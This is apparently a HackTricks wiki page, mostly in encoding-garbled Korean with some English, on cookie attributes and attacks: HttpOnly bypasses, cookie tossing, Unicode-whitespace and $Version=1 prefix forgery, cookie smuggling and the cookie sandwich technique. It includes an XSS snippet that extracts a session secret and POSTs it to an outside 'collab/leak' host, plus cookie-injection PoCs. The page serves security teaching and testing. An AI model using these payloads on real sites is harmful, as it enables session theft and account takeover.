์ฟ ํค ํดํน
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ฟ ํค ์์ฑ
์ฟ ํค์๋ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ๋์์ ์ ์ดํ๋ ์ฌ๋ฌ ์์ฑ์ด ์์ต๋๋ค. ๋ค์์ ์ด๋ฌํ ์์ฑ๋ค์ ๋ํ ์ ๋ฆฌ์ ๋๋ค(์๋ํ ์์ ๋ก ์์ฑ๋จ):
Expires and Max-Age
์ฟ ํค์ ๋ง๋ฃ ๋ ์ง๋ Expires ์์ฑ์ผ๋ก ๊ฒฐ์ ๋ฉ๋๋ค. ๋ฐ๋๋ก Max-age ์์ฑ์ ์ฟ ํค๊ฐ ์ญ์ ๋ ๋๊น์ง์ ์ด ๋จ์ ์๊ฐ์ ์ ์ํฉ๋๋ค. ๋ ํ๋์ ์ธ ๊ดํ์ ๋ฐ์ํ๊ธฐ ์ํด Max-age๋ฅผ ๊ถ์ฅํฉ๋๋ค.
Domain
์ฟ ํค๋ฅผ ์์ ํ ํธ์คํธ๋ Domain ์์ฑ์ผ๋ก ์ง์ ๋ฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ด๋ ์ฟ ํค๋ฅผ ๋ฐ๊ธํ ํธ์คํธ๋ก ์ค์ ๋๋ฉฐ ํ์ ๋๋ฉ์ธ์ ํฌํจ๋์ง ์์ต๋๋ค. ๊ทธ๋ฌ๋ Domain ์์ฑ์ด ๋ช
์์ ์ผ๋ก ์ค์ ๋๋ฉด ํ์ ๋๋ฉ์ธ๋ ํฌํจ๋ฉ๋๋ค. ์ด๋ ํ์ ๋๋ฉ์ธ๊ฐ ์ฟ ํค ๊ณต์ ๊ฐ ํ์ํ ์๋๋ฆฌ์ค์์ ๋ ์ ํ์ ์ธ ์ต์
์ด ๋ฉ๋๋ค. ์๋ฅผ ๋ค์ด Domain=mozilla.org๋ก ์ค์ ํ๋ฉด developer.mozilla.org ๊ฐ์ ํ์ ๋๋ฉ์ธ์์ ์ฟ ํค์ ์ ๊ทผํ ์ ์์ต๋๋ค.
Path
์์ฒญ๋ URL์ ํน์ URL ๊ฒฝ๋ก๊ฐ ํฌํจ๋์ด์ผ Cookie ํค๋๊ฐ ์ ์ก๋๋์ง๋ฅผ ์ง์ ํ๋ ์์ฑ์ด Path ์
๋๋ค. ์ด ์์ฑ์ / ๋ฌธ์๋ฅผ ๋๋ ํฐ๋ฆฌ ๊ตฌ๋ถ์๋ก ๊ฐ์ฃผํ์ฌ ํ์ ๋๋ ํฐ๋ฆฌ์์๋ ๋งค์นญ๋๋๋ก ํ์ฉํฉ๋๋ค.
Ordering Rules
์ด๋ฆ์ด ๊ฐ์ ๋ ์ฟ ํค๊ฐ ์์ ๋ ์ด๋ค ์ฟ ํค๋ฅผ ์ ์กํ ์ง๋ ๋ค์์ ๋ฐ๋ผ ๊ฒฐ์ ๋ฉ๋๋ค:
- ์์ฒญ๋ URL์์ ๊ฐ์ฅ ๊ธด path์ ๋งค์นญ๋๋ ์ฟ ํค.
- ๊ฒฝ๋ก๊ฐ ๋์ผํ ๊ฒฝ์ฐ ๊ฐ์ฅ ์ต๊ทผ์ ์ค์ ๋ ์ฟ ํค.
SameSite
SameSite์์ฑ์ ํ์ฌ ๋๋ฉ์ธ์์ ์์๋ ์์ฒญ์ ์ฟ ํค๋ฅผ ๋ณด๋ผ์ง ์ฌ๋ถ๋ฅผ ๊ฒฐ์ ํฉ๋๋ค. ์ธ ๊ฐ์ง ์ค์ ์ ์ ๊ณตํฉ๋๋ค:- Strict: ํ์ฌ ์์ฒญ์์๋ ์ฟ ํค ์ ์ก์ ์ ํํฉ๋๋ค.
- Lax: ํ์ฌ ์น์ฌ์ดํธ์์ ์์๋ GET ์์ฒญ๊ณผ ํจ๊ป ์ฟ ํค ์ ์ก์ ํ์ฉํฉ๋๋ค.
- None: ๋ชจ๋ ํ์ฌ ๋๋ฉ์ธ์์์ ์ ์ก์ ํ์ฉํฉ๋๋ค.
์ฟ ํค๋ฅผ ๊ตฌ์ฑํ ๋ ์ด๋ฌํ ์์ฑ์ ์ดํดํ๋ฉด ๋ค์ํ ์๋๋ฆฌ์ค์์ ์์๋๋ก ๋์ํ๋๋ก ํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
| ์์ฒญ ์ ํ | ์์ ์ฝ๋ | ์ฟ ํค ์ ์ก ์ |
|---|---|---|
| Link | <a href=โโฆโ></a> | NotSet*, Lax, None |
| Prerender | <link rel=โprerenderโ href=โ..โ/> | NotSet*, Lax, None |
| Form GET | <form method=โGETโ action=โโฆโ> | NotSet*, Lax, None |
| Form POST | <form method=โPOSTโ action=โโฆโ> | NotSet*, None |
| iframe | <iframe src=โโฆโ></iframe> | NotSet*, None |
| AJAX | $.get(โโฆโ) | NotSet*, None |
| Image | <img src=โโฆโ> | NetSet*, None |
Table from Invicti and slightly modified.
SameSite ์์ฑ์ด ์ค์ ๋ ์ฟ ํค๋ ๋ก๊ทธ์ธ ์ธ์
์ด ํ์ํ ๊ฒฝ์ฐ CSRF ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค.
*์ฃผ์: Chrome80 (2019๋
2์)๋ถํฐ cookie์ samesite ์์ฑ์ด ์์ ๊ฒฝ์ฐ์ ๊ธฐ๋ณธ ๋์์ lax์
๋๋ค (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
์ด ๋ณ๊ฒฝ์ ์ ์ฉํ ์ดํ ์ผ์์ ์ผ๋ก, Chrome์์๋ SameSite ์ ์ฑ
์ด ์๋ ์ฟ ํค๋ฅผ ์ฒซ 2๋ถ ๋์์ None์ผ๋ก ์ฒ๋ฆฌํ๊ณ ๊ทธ ์ดํ์๋ ์ต์์ ๊ต์ฐจ ์ฌ์ดํธ POST ์์ฒญ์ ๋ํด Lax๋ก ์ฒ๋ฆฌํฉ๋๋ค.
์ฟ ํค ํ๋๊ทธ
HttpOnly
์ด ์ค์ ์ ํด๋ผ์ด์ธํธ๊ฐ ์ฟ ํค์ ์ ๊ทผํ๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค(์: Javascript์์ document.cookie).
์ฐํ ๋ฐฉ๋ฒ
- ํ์ด์ง๊ฐ ์์ฒญ์ ์๋ต์ผ๋ก ์ฟ ํค๋ฅผ ์ ์กํ๊ณ ์๋ ๊ฒฝ์ฐ(์: PHPinfo ํ์ด์ง), XSS๋ฅผ ์ ์ฉํ์ฌ ํด๋น ํ์ด์ง๋ก ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ต์์ ์ฟ ํค๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค(์์ ์ฐธ์กฐ: https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- ์๋ฒ์ ์๋ต์ด ์ ์ก๋ ์ฟ ํค๋ฅผ ๋ฐ์ฌํ๋ ๊ฒฝ์ฐ(ํด๋น HTTP ๋ฉ์๋๊ฐ ๊ฐ๋ฅํ ๋) TRACE HTTP ์์ฒญ์ผ๋ก ์ฐํํ ์ ์์ต๋๋ค. ์ด ๊ธฐ๋ฒ์ Cross-Site Tracking์ด๋ผ๊ณ ํฉ๋๋ค.
- ํ๋ ๋ธ๋ผ์ฐ์ ๋ JS์์ TRACE ์์ฒญ ์ ์ก์ ํ์ฉํ์ง ์์์ผ๋ก์จ ์ด ๊ธฐ๋ฒ์ ์ฐจ๋จํฉ๋๋ค. ๋ค๋ง ํน์ ์ํํธ์จ์ด์์๋
\r\nTRACE๋ฅผTRACE๋์ IE6.0 SP2 ๋ฑ์ ๋ณด๋ด๋ ์์ ์ฐํ๊ฐ ๋ฐ๊ฒฌ๋ ๋ฐ ์์ต๋๋ค. - ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ๋ธ๋ผ์ฐ์ ์ zero/day ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ๊ฒ์ ๋๋ค.
- Cookie Jar overflow ๊ณต๊ฒฉ์ ์ํํ์ฌ HttpOnly ์ฟ ํค๋ฅผ ๋ฎ์ด์ธ ์๋ ์์ต๋๋ค:
- Cookie Smuggling ๊ณต๊ฒฉ์ ์ฌ์ฉํ์ฌ ์ด๋ฌํ ์ฟ ํค๋ฅผ ์ ์ถ(exfiltrate)ํ ์๋ ์์ต๋๋ค.
- ์๋ฒ ์ธก ์๋ํฌ์ธํธ๊ฐ HTTP ์๋ต์์ ์์ ์ธ์ ID๋ฅผ ๊ทธ๋๋ก ๋ฐ์ํ๋ ๊ฒฝ์ฐ(์: HTML ์ฃผ์์ด๋ ๋๋ฒ๊ทธ ๋ธ๋ก ๋ด๋ถ), XSS gadget์ ์ฌ์ฉํด ํด๋น ์๋ํฌ์ธํธ๋ฅผ ๊ฐ์ ธ์ค๊ณ ์ ๊ท์์ผ๋ก ๋น๋ฐ๊ฐ์ ์ถ์ถํ ๋ค ์ ์ถํจ์ผ๋ก์จ HttpOnly๋ฅผ ์ฐํํ ์ ์์ต๋๋ค. ์์ XSS ํ์ด๋ก๋ ํจํด:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
์์ฒญ์ ๋ณด์ ์ฑ๋(์ผ๋ฐ์ ์ผ๋ก HTTPS)์ ํตํด ์ ์ก๋๋ ๊ฒฝ์ฐ์๋ง HTTP ์์ฒญ์ ์ฟ ํค๋ฅผ ์ ์กํฉ๋๋ค.
Cookies Prefixes
__Secure-๋ก ์ ๋๋ ์ฟ ํค๋ HTTPS๋ก ๋ณดํธ๋ ํ์ด์ง์์ secure ํ๋๊ทธ์ ํจ๊ป ์ค์ ๋์ด์ผ ํฉ๋๋ค.
__Host-๋ก ์ ๋๋ ์ฟ ํค์๋ ๋ค์ ์กฐ๊ฑด๋ค์ด ์ถฉ์กฑ๋์ด์ผ ํฉ๋๋ค:
secureํ๋๊ทธ์ ํจ๊ป ์ค์ ๋์ด์ผ ํฉ๋๋ค.- HTTPS๋ก ๋ณดํธ๋ ํ์ด์ง์์ ์ ๋ํด์ผ ํฉ๋๋ค.
- ๋๋ฉ์ธ์ ์ง์ ํ๋ ๊ฒ์ด ๊ธ์ง๋์ด ์์ผ๋ฏ๋ก ์๋ธ๋๋ฉ์ธ์ผ๋ก ์ ์ก๋๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค.
- ์ด ์ฟ ํค๋ค์ path๋
/๋ก ์ค์ ๋์ด์ผ ํฉ๋๋ค.
__Host-๋ก ์ ๋๋ ์ฟ ํค๋ ์์ ๋๋ฉ์ธ์ด๋ ์๋ธ๋๋ฉ์ธ์ผ๋ก ์ ์ก๋ ์ ์๋ค๋ ์ ์ด ์ค์ํฉ๋๋ค. ์ด๋ฌํ ์ ํ์ ์ ํ๋ฆฌ์ผ์ด์
์ฟ ํค๋ฅผ ๊ฒฉ๋ฆฌํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค. ๋ฐ๋ผ์ ๋ชจ๋ ์ ํ๋ฆฌ์ผ์ด์
์ฟ ํค์ __Host- ์ ๋์ฌ๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ๋ณด์ ๋ฐ ๊ฒฉ๋ฆฌ ํฅ์์ ์ํ ์ข์ ๊ดํ์ผ๋ก ๊ฐ์ฃผ๋ ์ ์์ต๋๋ค.
Overwriting cookies
๋ฐ๋ผ์ __Host- ์ ๋ ์ฟ ํค์ ๋ณดํธ ์ค ํ๋๋ ์๋ธ๋๋ฉ์ธ์์ ํด๋น ์ฟ ํค๋ฅผ ๋ฎ์ด์ฐ์ง ๋ชปํ๊ฒ ํ๋ ๊ฒ์
๋๋ค. ์๋ฅผ ๋ค์ด Cookie Tossing attacks๋ฅผ ๋ฐฉ์งํฉ๋๋ค. ๊ฐ์ฐ Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper)์์๋ ํ์๋ฅผ ์์ฌ ์๋ธ๋๋ฉ์ธ์์ __HOST- ์ ๋ ์ฟ ํค๋ฅผ ์ค์ ํ ์ ์์๋ ์ฌ๋ก๊ฐ ์ ์๋์๋๋ฐ, ์๋ฅผ ๋ค์ด ์ด๋ฆ ์์ด๋ ์๋ค์ โ=โ๋ฅผ ์ถ๊ฐํ๋ ๋ฐฉ์ ๋ฑ์ด ์์์ต๋๋ค:
 (1) (1) (1) (1).png)
๋๋ PHP์์๋ ์ฟ ํค ์ด๋ฆ์ ์์ ๋ถ๋ถ์ ๋ค๋ฅธ ๋ฌธ์๋ฅผ ์ถ๊ฐํ๋ฉด ํด๋น ๋ฌธ์๊ฐ ์ธ๋์ค์ฝ์ด๋ก ๊ต์ฒด๋์ด __HOST- ์ฟ ํค๋ฅผ ๋ฎ์ด์ธ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ์์์ต๋๋ค:
 (1) (1) (1) (1).png)
Unicode whitespace cookie-name smuggling (prefix forgery)
์ฟ ํค ์ด๋ฆ ์์ Unicode ๊ณต๋ฐฑ ์ฝ๋ ํฌ์ธํธ๋ฅผ ์ถ๊ฐํ์ฌ ๋ธ๋ผ์ฐ์ ์ ์๋ฒ์ ํ์ฑ ๋ถ์ผ์น๋ฅผ ์
์ฉํฉ๋๋ค. ๋ธ๋ผ์ฐ์ ๋ ์ด๋ฆ์ด ๋ฌธ์ ๊ทธ๋๋ก __Host-/__Secure-๋ก ์์ํ๋ค๊ณ ๋ณด์ง ์๊ธฐ ๋๋ฌธ์ ์๋ธ๋๋ฉ์ธ์์ ์ค์ ์ ํ์ฉํฉ๋๋ค. ๋ฐฑ์๋๊ฐ ์ฟ ํค ํค์ ์ ํ Unicode ๊ณต๋ฐฑ์ ํธ๋ฆฌ๋ฐ/์ ๊ทํํ๋ฉด ๋ณดํธ๋ ์ด๋ฆ์ ์ธ์ํ์ฌ ๋์ ๊ถํ์ ์ฟ ํค๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
- PoC from a subdomain that can set parent-domain cookies:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
-
๋ฌธ์ ๋ฅผ ์ผ๊ธฐํ๋ ์ผ๋ฐ์ ์ธ ๋ฐฑ์๋ ๋์:
-
์ฟ ํค ํค๋ฅผ ์๋ผ๋ด๊ฑฐ๋ ์ ๊ทํ(trim/normalize)ํ๋ ํ๋ ์์ํฌ. Django์์๋ Python์
str.strip()๊ฐ ๊ด๋ฒ์ํ ์ ๋์ฝ๋ ๊ณต๋ฐฑ ์ฝ๋ ํฌ์ธํธ๋ฅผ ์ ๊ฑฐํ์ฌ ์ด๋ฆ์ด__Host-name์ผ๋ก ์ ๊ทํ๋ฉ๋๋ค. -
์ผ๋ฐ์ ์ผ๋ก ์๋ ค๋๊ฐ๋ ์ฝ๋ ํฌ์ธํธ์๋ ๋ค์์ด ํฌํจ๋ฉ๋๋ค: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000โU+200A (8192โ8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).
-
๋ง์ ํ๋ ์์ํฌ๋ ์ค๋ณต๋ ์ฟ ํค ์ด๋ฆ์ โlast winsโ ๋ฐฉ์์ผ๋ก ์ฒ๋ฆฌํ๋ฏ๋ก, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ ๊ทํ๋ ์ฟ ํค ๊ฐ์ด ์ ๋นํ ๊ฐ์ ๋ฎ์ด์๋๋ค.
-
๋ธ๋ผ์ฐ์ ๋ณ ์ฐจ์ด๊ฐ ์ค์ํฉ๋๋ค:
-
Safari๋ ์ฟ ํค ์ด๋ฆ์์ ๋ค์ค ๋ฐ์ดํธ ์ ๋์ฝ๋ ๊ณต๋ฐฑ์ ์ฐจ๋จํฉ๋๋ค(์: U+2000์ ๊ฑฐ๋ถ)์ง๋ง ๋ง์ ๋ฐฑ์๋๊ฐ ์ ๊ฑฐํ๋ ๋จ์ผ ๋ฐ์ดํธ U+0085 ๋ฐ U+00A0์ ์ฌ์ ํ ํ์ฉํฉ๋๋ค. ๋ธ๋ผ์ฐ์ ๋ค ๊ฐ์ ๊ต์ฐจ ํ ์คํธํ์ธ์.
-
์ํฅ: ์ ๋ขฐ๋๊ฐ ๋ฎ์ ์ปจํ ์คํธ(์๋ธ๋๋ฉ์ธ)์์
__Host-/__Secure-์ฟ ํค๋ฅผ ๋ฎ์ด์ธ ์ ์๊ฒ ๋๋ฉฐ, ์ด๋ XSS(๋ฐ์ฌํ์ผ ๊ฒฝ์ฐ), CSRF ํ ํฐ ๋ฎ์ด์ฐ๊ธฐ, session fixation์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. -
์ ์ก ์ค(on-the-wire) vs ์๋ฒ์์ ๋ณธ ๋ณด๊ธฐ ์์ (์ด๋ฆ์ U+2000 ํฌํจ):
Cookie: __Host-name=Real; รขโฌโฌ__Host-name=<img src=x onerror=alert(1)>;
๋ง์ ๋ฐฑ์๋๋ ๋ถํ /ํ์ฑํ ๋ค trim์ ์ ์ฉํ์ฌ ์ ๊ทํ๋ __Host-name์ด ๊ณต๊ฒฉ์์ ๊ฐ์ผ๋ก ์ค์ ๋ฉ๋๋ค.
๊ตฌํ $Version=1 cookie splitting on Java backends (prefix bypass)
์ผ๋ถ Java ์คํ(์: Tomcat/Jetty-style)์ Cookie ํค๋๊ฐ $Version=1๋ก ์์ํ ๋ ์ฌ์ ํ ๊ตฌํ RFC 2109/2965 ํ์ฑ์ ํ์ฑํํฉ๋๋ค. ์ด๋ก ์ธํด ์๋ฒ๊ฐ ๋จ์ผ ์ฟ ํค ๋ฌธ์์ด์ ์ฌ๋ฌ ๊ฐ์ ๋
ผ๋ฆฌ์ ์ฟ ํค๋ก ์ฌํด์ํ๊ณ , ์๋ ์๋ธ๋๋ฉ์ธ์์ ์ค์ ๋์๊ฑฐ๋ ์ฌ์ง์ด ์์ ํ์ง ์์ ์ถ์ฒ์์ ์ค์ ๋ ์์กฐ๋ __Host- ํญ๋ชฉ์ ์์ฉํ ์ ์์ต๋๋ค.
- PoC forcing legacy parsing:
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
-
Why it works:
-
Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of
__Host-/__Secure-prefix guarantees. -
Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics.
Duplicate-name last-wins overwrite primitive
When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two __Host-* names, the attacker-controlled one will typically win.
Detection and tooling
Use Burp Suite to probe for these conditions:
- Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
- Send
$Version=1first in the Cookie header and check if the backend performs legacy splitting/normalization. - Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
- Burp Custom Action to automate this: CookiePrefixBypass.bambda
Tip: These techniques exploit RFC 6265โs octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.
Cookies Attacks
If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.
Decoding and Manipulating Cookies
Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookieโs content and impersonate other users by encoding their modified data back into the cookie.
Session Hijacking
This attack involves stealing a userโs cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.
Session Fixation
In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.
If you found an XSS in a subdomain or you control a subdomain, read:
Session Donation
Here, the attacker convinces the victim to use the attackerโs session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attackerโs account.
If you found an XSS in a subdomain or you control a subdomain, read:
JWT Cookies
Click on the previous link to access a page explaining possible flaws in JWT.
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
Cross-Site Request Forgery (CSRF)
This attack forces a logged-in user to execute unwanted actions on a web application in which theyโre currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.
Empty Cookies
(Check further details in theoriginal research) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
์ ์ก๋ cookie header์ ๊ฒฐ๊ณผ๋ a=v1; test value; b=v2;์
๋๋ค. ํฅ๋ฏธ๋กญ๊ฒ๋, ์ด๋ ์ด๋ฆ์ด ๋น์ด ์๋ cookie๊ฐ ์ค์ ๋์ด ์์ ๊ฒฝ์ฐ cookie๋ฅผ ์กฐ์ํ ์ ์๊ฒ ํ๋ฉฐ, ๋น cookie๋ฅผ ํน์ ๊ฐ์ผ๋ก ์ค์ ํจ์ผ๋ก์จ ๋ค๋ฅธ cookie๋ค์ ์ ์ดํ ์ ์์ต๋๋ค:
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
This leads to the browser sending a cookie header interpreted by every web server as a cookie named a with a value b.
Chrome ๋ฒ๊ทธ: Unicode Surrogate Codepoint ๋ฌธ์
Chrome์์๋ set cookie์ ์ผ๋ถ๋ก Unicode surrogate codepoint๊ฐ ํฌํจ๋๋ฉด, document.cookie๊ฐ ์์๋์ด ์ดํ ๋น ๋ฌธ์์ด์ ๋ฐํํฉ๋๋ค:
document.cookie = "\ud800=meep"
์ด๋ก ์ธํด document.cookie๋ ๋น ๋ฌธ์์ด์ ์ถ๋ ฅํ๊ฒ ๋๋ฉฐ, ์ด๋ ์๊ตฌ์ ์ธ ์์(corruption)์ ์๋ฏธํฉ๋๋ค.
Cookie Smuggling Due to Parsing Issues
(Check further details in theoriginal research) Java (Jetty, TomCat, Undertow) ๋ฐ Python (Zope, cherrypy, web.py, aiohttp, bottle, webob)์ ํฌํจํ ์ฌ๋ฌ ์น ์๋ฒ๋ ์ค๋๋ RFC2965 ์ง์์ผ๋ก ์ธํด cookie ๋ฌธ์์ด์ ์๋ชป ์ฒ๋ฆฌํฉ๋๋ค. ์ด๋ค์ ํฐ๋ฐ์ดํ๋ก ๊ฐ์ผ cookie ๊ฐ์, ์ธ๋ฏธ์ฝ๋ก (ํต์์ ์ผ๋ก key-value ์์ ๊ตฌ๋ถํจ)์ด ํฌํจ๋์ด ์์ด๋ ํ๋์ ๊ฐ์ผ๋ก ์ฝ์ต๋๋ค:
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie Injection Vulnerabilities
(Check further details in theoriginal research) ์๋ฒ์์ ์ฟ ํค๋ฅผ ์๋ชป ํ์ฑํ๋ ๋ฌธ์ , ํนํ Undertow, Zope, ๊ทธ๋ฆฌ๊ณ Python์ http.cookie.SimpleCookie ๋ฐ http.cookie.BaseCookie๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ๋ cookie injection ๊ณต๊ฒฉ์ ๊ธฐํ๋ฅผ ๋ง๋ญ๋๋ค. ์ด๋ฌํ ์๋ฒ๋ค์ ์ ์ฟ ํค์ ์์์ ์ ๋๋ก ๊ตฌ๋ถํ์ง ๋ชปํด ๊ณต๊ฒฉ์๊ฐ ์ฟ ํค๋ฅผ ์คํธํํ ์ ์์ต๋๋ค:
- Undertow๋ ์ธ์ฉ๋ ๊ฐ ๋ฐ๋ก ๋ค์์ ์ธ๋ฏธ์ฝ๋ก ์์ด ์ ์ฟ ํค๊ฐ ์ค๊ธฐ๋ฅผ ๊ธฐ๋ํฉ๋๋ค.
- Zope๋ ๋ค์ ์ฟ ํค ํ์ฑ์ ์์ํ๊ธฐ ์ํด ์ฝค๋ง๋ฅผ ์ฐพ์ต๋๋ค.
- Python์ cookie ํด๋์ค๋ ๊ณต๋ฐฑ ๋ฌธ์์์ ํ์ฑ์ ์์ํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ cookie ๊ธฐ๋ฐ CSRF ๋ณดํธ์ ์์กดํ๋ ์น ์ ํ๋ฆฌ์ผ์ด์
์์ ํนํ ์ํํฉ๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์คํธํ๋ CSRF-ํ ํฐ ์ฟ ํค๋ฅผ ์ฃผ์
ํด ๋ณด์ ์กฐ์น๋ฅผ ์ฐํํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. Python์ด ์ค๋ณต๋ ์ฟ ํค ์ด๋ฆ์ ์ฒ๋ฆฌํ ๋ ๋ง์ง๋ง ํญ๋ชฉ์ด ์ด์ ํญ๋ชฉ์ ๋ฎ์ด์ฐ๋ ๋ฐฉ์์ ๋ฌธ์ ๋ฅผ ์
ํ์ํต๋๋ค. ๋ํ __Secure- ๋ฐ __Host- ์ฟ ํค๊ฐ ์์ ํ์ง ์์ ์ปจํ
์คํธ์์ ๋ฌธ์ ๊ฐ ๋ ์ ์๊ณ , ์ฟ ํค๊ฐ ์คํธํ์ ์ทจ์ฝํ ๋ฐฑ์๋ ์๋ฒ๋ก ์ ๋ฌ๋ ๋ ๊ถํ ์ฐํ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
Cookies $version
WAF Bypass
According to this blogpost, ๋ฐฑ์๋๊ฐ RFC2109 ๋๋ฌธ์ ์ฟ ํค๋ฅผ ํ์ฑํ ๋ ์ค๋๋ ๋ก์ง์ ์ฌ์ฉํ๋๋ก ๋ง๋ค๊ธฐ ์ํด ์ฟ ํค ์์ฑ $Version=1 ์ ์ฌ์ฉํ ์ ์์ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค. ๋ํ $Domain, $Path ๊ฐ์ ๋ค๋ฅธ ๊ฐ๋ค๋ ์ฟ ํค๋ก ๋ฐฑ์๋์ ๋์์ ๋ณ๊ฒฝํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
Cookie Sandwich Attack
According to this blogpost cookie sandwich technique์ ์ฌ์ฉํด HttpOnly ์ฟ ํค๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค. ์๊ตฌ ์กฐ๊ฑด๊ณผ ๋จ๊ณ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์๋ต์ ๊ฒ๋ณด๊ธฐ์ ์ธ๋ชจ์๋ cookie๊ฐ ๋ฐ์(reflected)๋๋ ์์น๋ฅผ ์ฐพ์ต๋๋ค.
- ๋ ํน์ ํ ๊ฒฝ๋ก(path)๋ฅผ ๊ฐ๋๋ก ํ์ฌ ์ด๊ธฐ ์์น๋ฅผ ์ฐจ์งํ๊ฒ๋ ๊ฐ์ด
1์ธ$Version์ด๋ผ๋ cookie๋ฅผ ์์ฑํฉ๋๋ค (XSS๊ณต๊ฒฉ์์JS๋ก ์ด๊ฒ์ ๋ง๋ค ์ ์์ต๋๋ค). (์ผ๋ถ ํ๋ ์์ํฌ, ์: python์์๋ ์ด ๋จ๊ณ๊ฐ ํ์ํ์ง ์์ต๋๋ค.) - ๋ฐ์๋๋ cookie๋ฅผ ์์ฑํ๋ ๊ฐ์ด ์ด๋ฆฐ ํฐ๋ฐ์ดํ๋ฅผ ๋จ๊ธฐ๊ณ , ํน์ ๊ฒฝ๋ก๋ฅผ ์ง์ ํด ์ด์ ์ ๋ง๋ (
$Version) ์ฟ ํค ๋ค์์ ์ฟ ํค DB์ ์์นํ๊ฒ ํฉ๋๋ค. - ๊ทธ๋ฌ๋ฉด ์ ์ ์ฟ ํค๋ ์์์ ๊ทธ ๋ค์์ ์ค๊ฒ ๋ฉ๋๋ค.
- ๊ฐ ์์ ํฐ๋ฐ์ดํ๋ฅผ ๋ซ๋ ๋๋ฏธ ์ฟ ํค(dummy cookie)๋ฅผ ์์ฑํฉ๋๋ค.
์ด๋ ๊ฒ ํ๋ฉด ํผํด์์ ์ฟ ํค๊ฐ ์ ๋ฒ์ ์ cookie ๋ด๋ถ์ ๊ฐํ๊ฒ ๋๊ณ ํด๋น ์ฟ ํค๊ฐ ๋ฐ์๋ ๋๋ง๋ค ํจ๊ป ๋ฐ์๋ฉ๋๋ค. e.g. from the post:
